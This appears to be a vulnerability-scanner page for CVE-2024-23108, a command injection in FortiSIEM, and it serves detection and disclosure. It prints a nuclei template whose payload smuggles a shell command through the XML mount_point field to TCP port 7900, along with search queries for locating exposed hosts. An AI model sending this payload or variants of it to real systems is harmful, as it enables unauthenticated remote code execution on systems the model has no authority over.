Fortinet FortiSIEM - OS Command Injection

criticalseverity

10CVSS score

80.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

FortiSIEM versions 6.4.0 through 7.1.1 contain an OS command injection vulnerability in the Phoenix Monitor service. The vulnerability exists in the XML parsing of TEST_STORAGE elements where the mount_point field is not properly sanitized before being passed to shell commands, allowing unauthenticated remote code execution.

Impact

Unauthenticated attackers can execute arbitrary commands on the FortiSIEM system, potentially leading to full system compromise, data exfilteration, lateral movement, and complete bypass of security monitoring capabilities.

Fix

Update FortiSIEM to versions newer than 7.1.1. Implement network segmentation to restrict access to Phoenix Monitor service (TCP/7900) and monitor for suspicious connections to this port.

How to confirm it

Send: tcp probe to tls://{{Hostname}}
Positive when: contains in raw "15.."

Run it with nuclei: nuclei -id CVE-2024-23108 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-23108

info:
  name: Fortinet FortiSIEM - OS Command Injection
  author: 0x_Akoko,Thacien
  severity: critical
  description: |
    FortiSIEM versions 6.4.0 through 7.1.1 contain an OS command injection vulnerability in the Phoenix Monitor service. The vulnerability exists in the XML parsing of TEST_STORAGE elements where the mount_point field is not properly sanitized before being passed to shell commands, allowing unauthenticated remote code execution.
  impact: |
    Unauthenticated attackers can execute arbitrary commands on the FortiSIEM system, potentially leading to full system compromise, data exfilteration, lateral movement, and complete bypass of security monitoring capabilities.
  remediation: |
    Update FortiSIEM to versions newer than 7.1.1. Implement network segmentation to restrict access to Phoenix Monitor service (TCP/7900) and monitor for suspicious connections to this port.
  reference:
    - https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive/
    - https://fortiguard.com/psirt/FG-IR-23-130
    - https://nvd.nist.gov/vuln/detail/CVE-2024-23108
    - https://github.com/horizon3ai/CVE-2024-23108
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-23108
    cwe-id: CWE-78
    epss-score: 0.80304
    epss-percentile: 0.99624
    cpe: cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fortinet
    product: fortisiem
    shodan-query:
      - port:"7900"
      - http.favicon.hash:"-1341442175"
      - http.html:"var hst = location.hostname"
    fofa-query:
      - body="var hst = location.hostname"
      - icon_hash="-1341442175"
  tags: cve,cve2024,fortinet,fortisiem,vkev,injection,unauth,vuln

variables:
  xml: '<TEST_STORAGE type="nfs"><server_ip>127.0.0.1</server_ip><mount_point>/lala; echo "id";</mount_point></TEST_STORAGE>'
  payload: "\x51\x00\x00\x00\x74\x00\x00\x00\x6f\x42\x1e\x40\x00\x00\x00\x00{{xml}}"

tcp:
  - inputs:
      - data: "{{payload}}"

    host:
      - "tls://{{Hostname}}"
    port: 7900
    read-size: 1024

    matchers:
      - type: word
        part: raw
        words:
          - "15.."

References

Use this check only on systems you are authorised to test. Where the data comes from